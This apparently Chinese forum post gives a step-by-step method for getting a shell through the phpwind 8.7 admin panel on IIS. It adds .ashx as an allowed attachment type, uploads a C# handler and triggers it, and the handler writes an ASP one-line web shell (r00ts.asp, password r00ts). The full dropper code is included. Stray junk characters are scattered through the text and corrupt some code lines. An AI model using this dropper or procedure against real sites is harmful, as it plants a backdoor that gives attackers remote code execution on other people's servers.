phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
- B9 e; W2 w7 o# F6 ~
8 Q: J& X' \) ~1 Z( |群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
  y; I. h3 H2 P% P1 L' x6 j% {
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整
: c2 i+ O+ w# l
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

下面是代码:

<%@ WebHandler Language="C#"Class="Handler" %>
using System;
4 s8 e  C- ~9 R6 b1 c5 h' ]6 gusing System.Web;
using System.IO;
- b2 ]9 m# f' R5 s. `public class Handler : IHttpHandler {
" j4 r: T' ?& H1 g- tpublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
! a2 B' e, @$ S+ D1 nStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
+ O2 W* o" e0 I& m9 N: Yfile1.Flush();
file1.Close();
( w% D, U1 Y# U; ?' Y$ B8 T# P}
; Q# S6 L3 |1 v. o0 {public bool IsReusable {
get {
return false;
6 V/ [+ v- y. L* X( h/ z  T/ b}
}
}
0 n' l4 W4 e1 \8 s